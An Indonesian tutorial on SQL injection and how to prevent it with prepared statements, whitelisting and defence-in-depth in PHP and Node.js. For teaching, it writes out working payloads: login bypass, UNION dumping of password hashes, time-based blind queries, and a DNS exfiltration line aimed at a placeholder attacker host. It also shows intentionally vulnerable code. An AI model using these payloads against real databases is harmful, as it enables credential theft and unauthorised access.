Celah keamanan database seperti SQL Injection (SQLi) terus bertengger di jajaran atas OWASP Top 10 selama lebih dari dua dekade. Meski framework modern dan Object-Relational Mapping (ORM) sudah digunakan luas, insiden kebocoran data akibat SQLi masih kerap ditemukan pada aplikasi produksi.
Banyak developer menganggap SQL Injection masalah klasik yang selesai hanya dengan memasang framework atau memanggil fungsi escape string sederhana. Padahal, kesalahan kecil saat kamu menulis query dinamis atau penyalahgunaan raw query pada ORM bisa langsung membuka pintu bagi penyerang untuk menguras isi database.
Artikel ini membahas mendalam apa itu SQL Injection, mekanisme eksekusinya di database engine, klasifikasi jenis serangan, alasan sanitisasi manual sering gagal, hingga langkah pencegahan dengan prepared statements dan defense-in-depth di PHP dan Node.js.
Pendahuluan & Masalah Dasar
Apa Itu SQL Injection?
SQL Injection (SQLi) adalah kerentanan keamanan web yang terjadi ketika input pengguna (user input) digabungkan langsung ke perintah SQL tanpa pemisahan antara instruksi kode dan data.
Kondisi ini memungkinkan penyerang menyisipkan sintaks SQL buatan mereka ke query yang dikirim aplikasi ke database server. Database engine tidak dapat membedakan apakah potongan klausa tersebut perintah asli buatan developer atau teks rakitan penyerang. Akibatnya, database mengeksekusi instruksi peretas dengan hak akses akun database aplikasi.
Dampak serangan SQL Injection sangat fatal:
- Bypass Autentikasi: Penyerang masuk ke sistem sebagai admin tanpa ketahui username atau password.
- Pencurian Data (Data Exfiltration): Pembacaan seluruh isi database, termasuk password hash, kartu kredit, dan identitas pribadi (PII).
- Modifikasi Data: Pengubahan data, penghapusan baris (
DELETE), hingga pembatalan struktur tabel (DROP TABLE). - Remote Code Execution (RCE): Dalam konfigurasi privilege tinggi, penyerang dapat membaca/menulis file server hingga menjalankan perintah terminal.
Akar Masalah: String Concatenation vs Structured Data
Akar masalah SQL Injection terletak pada kebiasaan menyatukan variabel input pengguna secara langsung menggunakan penyambungan string (string concatenation atau string interpolation).
Perhatikan contoh query PHP untuk mencari produk berdasarkan kategori dari parameter URL $_GET['category']:
// SANGAT RENTAN (Vulnerable Code)
$category = $_GET['category'];
$query = "SELECT id, name, price FROM products WHERE category = '" . $category . "' AND is_active = 1";
$result = $pdo->query($query);
Jika kamu memasukkan input normal seperti elektronik, query yang terbentuk:
SELECT id, name, price FROM products WHERE category = 'elektronik' AND is_active = 1
Query berjalan normal. Namun, jika penyerang mengirimkan parameter category berupa:
elektronik' OR '1'='1
String query di server terkonkatenasi menjadi:
SELECT id, name, price FROM products WHERE category = 'elektronik' OR '1'='1' AND is_active = 1
Tanda petik tunggal (') dari input penyerang memutus batas literal string pada klausa WHERE. Karakter sisanya dibaca parser SQL sebagai operator logika OR '1'='1'. Karena '1'='1' selalu bernilai TRUE, database mengembalikan seluruh baris dari tabel products, termasuk produk non-aktif.
Mengapa Sanitisasi Manual dan Escaping Sering Gagal?
Refleks awal banyak developer saat menyadari bahaya tanda petik adalah memfilter atau me-escape karakter berbahaya secara manual, seperti menggunakan addslashes(), str_replace(), atau mysqli_real_escape_string().
Teknik escaping manual rentan dan sering gagal menahan serangan SQLi karena beberapa alasan teknis:
1. Celah pada Konteks Numeric (Tanpa Tanda Petik)
Fungsi escaping seperti mysqli_real_escape_string() menyisipkan backslash (\) sebelum tanda petik tunggal ('). Namun, jika klausa SQL melibatkan kolom angka/numeric yang tidak dibungkus tanda petik, karakter petik sama sekali tidak diperlukan penyerang.
Contoh kode rentan:
$id = mysqli_real_escape_string($conn, $_GET['id']);
$query = "SELECT * FROM users WHERE id = " . $id;
Jika penyerang memasukkan payload tanpa tanda petik seperti 1 OR 1=1, string query menjadi:
SELECT * FROM users WHERE id = 1 OR 1=1
Fungsi mysqli_real_escape_string() tidak mengubah apa pun karena payload tidak mengandung tanda petik, sehingga struktur query berhasil diinjeksi.
2. Encoding / Multibyte Bypass (Contoh: GBK / %bf%27)
Pada aplikasi yang menggunakan character encoding multibyte (seperti GBK, Big5, atau SJIS), fungsi escaping tradisional seperti addslashes() dapat di-bypass dengan multibyte encoding injection.
Ketika addslashes() menerima petik ' (0x27), fungsi menyisipkan backslash \ (0x5c) di depannya, menjadi 0x5c 0x27. Jika penyerang mengirim byte %bf sebelum petik tunggal (%bf%27), hasil setelah addslashes() menjadi %bf%5c%27.
Dalam charset GBK, kombinasi dua byte %bf%5c (0xbf5c) dibaca database engine sebagai satu karakter kanji tunggal (縗). Backslash \ terserap ke karakter multibyte tersebut dan karakter petik ' (0x27) lepas kembali tanpa ter-escape.
3. Blacklist Filtering Mudah Di-bypass
Memblokir kata kunci SQL tertentu (seperti SELECT, UNION, DROP) dengan string replacement sederhana sangat mudah ditembus:
- Variasi Kapitalisasi:
sElEcT,uNiOnjika filter tidak case-insensitive. - Nested Replacement: Jika filter menghapus string
SELECTdenganstr_replace('SELECT', '', $input), inputSELSELECTECTakan berubah menjadiSELECTkembali. - Inline Comment: Penyisipan
UNI/**/ON SE/**/LECTatau URL encoding ganda (%2527).
Anatomi & Jenis-Jenis Serangan SQL Injection
Berdasarkan saluran komunikasi yang digunakan penyerang untuk mengambil data, SQL Injection diklasifikasikan menjadi tiga kategori: In-band SQLi, Inferential SQLi (Blind SQLi), dan Out-of-Band SQLi.
1. In-Band SQLi (Classic SQLi)
Penyerang menggunakan saluran komunikasi yang sama (respon HTTP biasa) untuk meluncurkan serangan dan melihat hasil data langsung di layar aplikasi.
A. Authentication Bypass
Serangan ini memanfaatkan form login rentan untuk memanipulasi klausa validasi username dan password.
Query Rentan:
SELECT * FROM users WHERE username = '$user' AND password = '$password'
Payload Input Username:
admin' --
Hasil Query Ter-injeksi:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = '...'
Karakter -- (komentar SQL) membuat pemeriksaan password diabaikan oleh database. Penyerang langsung login sebagai admin.
B. UNION-Based SQLi
Operator UNION menggabungkan hasil dari dua atau lebih statement SELECT. Penyerang menyertakan query tambahan untuk membaca tabel rahasia.
Syarat UNION SQLi:
- Query tambahan mengembalikan jumlah kolom yang sama dengan query asli.
- Tipe data kolom yang bersesuaian kompatibel.
Payload Input ID pada URL news.php?id=1:
-1 UNION SELECT 1, username, password_hash FROM users--
Hasil Query:
SELECT id, title, content FROM news WHERE id = -1
UNION
SELECT 1, username, password_hash FROM users--
Karena id = -1 tidak menemukan berita, database mengembalikan data dari query UNION, mencetak username dan password_hash dari tabel users.
C. Error-Based SQLi
Penyerang sengaja memicu kesalahan internal (error message) pada database engine. Jika aplikasi menampilkan error database mentah (misal mode debug aktif), pesan error digunakan untuk membocorkan data.
Contoh pesan error MySQL yang dimanipulasi:
XPATH syntax error: ':admin$2y$10$e8Z...'
2. Inferential SQLi (Blind SQLi)
Aplikasi tidak menampilkan data maupun pesan error SQL di antarmuka web. Namun, penyerang dapat menyimpulkan isi database dengan mengirimkan pertanyaan logika True/False dan mengamati respon server.
A. Boolean-Based (Content-Based) Blind SQLi
Penyerang menyisipkan kondisi boolean dan mengamati apakah halaman mengembalikan konten normal (True) atau berbeda/error (False).
item.php?id=1 AND 1=1-> Respon normal HTTP 200 (True).item.php?id=1 AND 1=2-> Respon kosong / HTTP 404 (False).
Penyerang mengekstraksi data huruf demi huruf:
1 AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a'
Jika huruf pertama password admin 'a', halaman mengembalikan True; jika tidak, False.
B. Time-Based Blind SQLi
Jika respon halaman web identik baik True maupun False, penyerang menginstruksikan database engine untuk menunda respon jika kondisi True, lalu mengukur latensi HTTP server.
Contoh Payload per Database Engine:
- MySQL:
1 AND IF(SUBSTRING((SELECT password FROM users WHERE id=1), 1, 1)='a', SLEEP(5), 0) - PostgreSQL:
1; SELECT CASE WHEN (ASCII(SUBSTRING(password,1,1))=97) THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users-- - SQL Server:
1; IF (SELECT COUNT(*) FROM users) > 0 WAITFOR DELAY '0:0:5'--
Jika request memakan waktu 5 detik lebih lama, tebakan karakter tepat.
3. Out-of-Band SQLi (OOB SQLi)
Out-of-Band SQLi digunakan ketika penyerang tidak bisa melihat respon langsung dan koneksi HTTP server tidak stabil untuk time-delay.
Serangan memanfaatkan fitur database engine untuk melakukan request jaringan keluar (DNS/HTTP) ke server penyerang.
- Oracle Database: Package
UTL_HTTPatauUTL_INADDR. - Microsoft SQL Server: Perintah
xp_dirtreememicu koneksi SMB/DNS. - MySQL (Windows): Fungsi
LOAD_FILE()ke UNC path (\\\\attacker.com\\share).
Contoh payload MySQL:
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE id=1), '.attacker-listener.com\\a'));
Database melakukan resolusi DNS ke hash-password.attacker-listener.com. Penyerang membaca log server DNS untuk mengambil data.
Solusi Utama: Prepared Statements & Parameterized Queries
Solusi utama yang ampuh membasmi SQL Injection adalah Prepared Statements (Parameterized Queries).
Mekanisme Kerja Prepared Statements di Database Engine
Query tradisional (Unprepared Query) diproses dalam satu tahapan beruntun:
[ APLIKASI ] ──── Raw SQL Text ────► [ DB ENGINE: Parse ──► Compile AST ──► Execute ]
Pada query unprepared, database engine menerima string mentah dari aplikasi, lalu simultan melakukan parsing, pembentukan pohon sintaks (Abstract Syntax Tree / AST), penyusunan Execution Plan, dan eksekusi. Input jahat terkompilasi menjadi struktur klausa SQL (AST).
Prepared Statement memisahkan kompilasi struktur query dari pengiriman parameter:
- Tahap Kompilasi (Prepare Phase):
Aplikasi mengirim template query berpenanda tempat (placeholder?atau:name). Database engine me-parse, mengomputasi AST, dan membekukan execution plan. Struktur logika query sudah dikunci. - Tahap Eksekusi (Execute Phase):
Aplikasi mengirim nilai parameter mentah secara terpisah. Database engine memasukkan nilai ke slot memori execution plan.
Karena struktur AST sudah selesai dikompilasi pada Tahap 1, data pada Tahap 2 selalu diperlakukan 100% sebagai literal data, tidak akan pernah diinterpretasikan ulang sebagai sintaks SQL.
Implementasi Kode Konkret (PHP & Node.js)
Berikut perbandingan kode rentan vs aman (secure) pada berbagai environment backend.
1. PHP Native (PDO)
Gunakan PDO dengan mengatur opsi PDO::ATTR_EMULATE_PREPARES => false pada koneksi agar PDO menggunakan native prepared statements di database engine, bukan sekadar emulasi string escape di driver.
<?php
// Konfigurasi koneksi PDO yang aman
$pdo = new PDO($dsn, $user, $pass, [
PDO::ATTR_EMULATE_PREPARES => false,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
// KODE RENTAN (Jangan Gunakan!)
$email = $_POST['email'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE email = '$email' AND password = '$password'";
$stmt = $pdo->query($sql);
// KODE AMAN (Prepared Statement dengan Named Placeholders)
$email = $_POST['email'];
$password = $_POST['password'];
// 1. Prepare template query dengan placeholder :email
$stmt = $pdo->prepare("SELECT id, name, password_hash FROM users WHERE email = :email");
// 2. Eksekusi query dengan array binding
$stmt->execute(['email' => $email]);
$user = $stmt->fetch();
// 3. Verifikasi password hash terpisah di layer aplikasi
if ($user && password_verify($password, $user['password_hash'])) {
// Login berhasil
}
2. Node.js Native Drivers (mysql2 & pg)
Gunakan parameterized queries yang disediakan driver resmi mysql2 atau pg.
Node.js dengan mysql2:
const mysql = require('mysql2/promise');
// KODE RENTAN
const category = req.query.category;
const [rows] = await connection.query(`SELECT * FROM products WHERE category = '${category}'`);
// KODE AMAN (Menggunakan execute() & placeholder ?)
const category = req.query.category;
const [rows] = await connection.execute(
'SELECT id, name, price FROM products WHERE category = ? AND is_active = 1',
[category]
);
Node.js dengan pg (PostgreSQL):
const { Client } = require('pg');
const client = new Client();
// KODE AMAN (Menggunakan positional parameters $1)
const userId = req.params.id;
const text = 'SELECT id, username, email FROM users WHERE id = $1';
const values = [userId];
const res = await client.query(text, values);
3. Framework PHP: Laravel Eloquent ORM
Laravel Eloquent dan Query Builder secara default menggunakan PDO Prepared Statements untuk method standar seperti where(), find(), dan first(). Celah keamanan muncul saat kamu menggunakan klausa Raw Query tanpa parameter binding yang benar.
use Illuminate\Support\Facades\DB;
use App\Models\User;
// KODE RENTAN (Sangat Berbahaya dalam Raw Method)
$username = $request->input('username');
$users = DB::select("SELECT * FROM users WHERE username = '$username'");
$users = User::whereRaw("username = '$username'")->get();
// KODE AMAN 1: Gunakan Method Eloquent Standard
$users = User::where('username', $username)->get();
// KODE AMAN 2: Gunakan Binding Array (?) pada Raw Query
$users = DB::select("SELECT id, username, email FROM users WHERE username = ?", [$username]);
$users = User::whereRaw("username = ?", [$username])->get();
4. Framework/ORM Node.js: Prisma ORM
Prisma ORM aman secara bawaan saat kamu menggunakan metode Prisma Client standar. Namun, potensi celah muncul ketika memanggil raw query.
import { PrismaClient } from '@prisma/client';
const prisma = new PrismaClient();
// KODE RENTAN (Menggunakan $queryRawUnsafe dengan string interpolation)
const userInput = req.query.category;
const products = await prisma.$queryRawUnsafe(
`SELECT * FROM "Product" WHERE category = '${userInput}'`
);
// KODE AMAN 1: Gunakan Standard Prisma Client Method
const products = await prisma.product.findMany({
where: {
category: String(req.query.category),
},
});
// KODE AMAN 2: Gunakan Tagged Template Literal $queryRaw (Auto-Parameterized)
const products = await prisma.$queryRaw`
SELECT * FROM "Product" WHERE category = ${userInput}
`;
Kasus Khusus: Dynamic Table Name, Column Name, & ORDER BY
Placeholder ? atau :name HANYA bisa digunakan untuk data value (literal string/numeric), dan tidak dapat digunakan untuk nama tabel, nama kolom, atau klausa pengurutan (ORDER BY asc/desc).
-- SINTAKS INVALID
SELECT * FROM ? WHERE ? = 'active' ORDER BY :sort_column ASC;
Untuk input pengurutan dinamis, gunakan Teknik Whitelisting Strict:
// Penanganan Pengurutan Dinamis yang AMAN di PHP
$allowed_columns = [
'price' => 'price',
'date' => 'created_at',
'name' => 'product_name'
];
$user_sort = $_GET['sort'] ?? 'name';
// Whitelist Checking
if (!array_key_exists($user_sort, $allowed_columns)) {
$sort_column = 'product_name'; // Fallback default
} else {
$sort_column = $allowed_columns[$user_sort];
}
$user_direction = strtoupper($_GET['dir'] ?? 'ASC');
$direction = ($user_direction === 'DESC') ? 'DESC' : 'ASC';
// Aman dimuat ke query karena $sort_column dan $direction terjamin dari whitelist
$sql = "SELECT id, product_name, price FROM products ORDER BY {$sort_column} {$direction}";
$stmt = $pdo->prepare($sql);
$stmt->execute();
Strategi Pertahanan Berlapis (Defense-in-Depth)
Prepared statement adalah benteng utama. Namun dalam arsitektur keamanan, terapkan prinsip Defense-in-Depth untuk memberikan perlindungan berlapis.
1. Principle of Least Privilege (PoLP) pada Database User
Gunakan akun database khusus aplikasi (misal: app_user) dengan hak akses terbatas (SELECT, INSERT, UPDATE, DELETE). Jangan berikan privilege DDL (DROP, ALTER, CREATE, TRUNCATE) pada lingkungan produksi.
2. Input Validation, Type Hinting, & Strict Type Casting
Lakukan type cast pada input HTTP sebelum masuk layer pemrosesan:
- Numeric parameter:
(int) $_GET['id'](PHP) atauparseInt(req.params.id, 10)(Node.js). - Gunakan schema validator (Laravel Validator, Zod, Symfony Validator) untuk memvalidasi format data.
3. Matikan Detailed Error Message di Production
Pesan error database rinci memudahkan serangan Error-based SQLi. Atur APP_DEBUG=false di Laravel, atau gunakan centralized error handler di Node.js untuk menyembunyikan detail stack trace dari pengguna akhir.
4. Web Application Firewall (WAF)
Pasang WAF (Cloudflare, AWS WAF, ModSecurity) sebagai penyaring HTTP terdepan untuk memblokir pattern payload SQLi sebelum menyentuh aplikasi.
5. Static Analysis Tooling & Security Linter
Integrasikan linter otomatis di CI/CD pipeline:
- PHP: Gunakan PHPStan (dengan
phpstan-dba) atau Psalm untuk mendeteksi concatenation SQL. - Node.js: Gunakan ESLint (
eslint-plugin-security) atau SonarQube untuk memantau raw query.
Penutup & Checklist Keamanan Kode Developer
SQL Injection bukan celah mistis yang sulit diatasi. Penyebab tunggalnya adalah penggabungan string yang tidak aman antara input pengguna dan perintah SQL. Dengan disiplin menggunakan Prepared Statements dan Parameter Binding, celah ini dapat sepenuhnya dieliminasi dari codebase aplikasi.
Referensi terkait: OWASP Top 10, Dokumentasi PHP PDO, Laravel Query Builder, Prisma Raw Queries.
Jika kamu ingin mendalami topik keamanan web terkait, baca artikel tentang XSS dan Cara Mencegahnya dan Cara Mengamankan REST API. Untuk pemahaman tentang otentikasi yang aman di Laravel, baca Password Hashing.
Fitur komentar belum diaktifkan oleh administrator.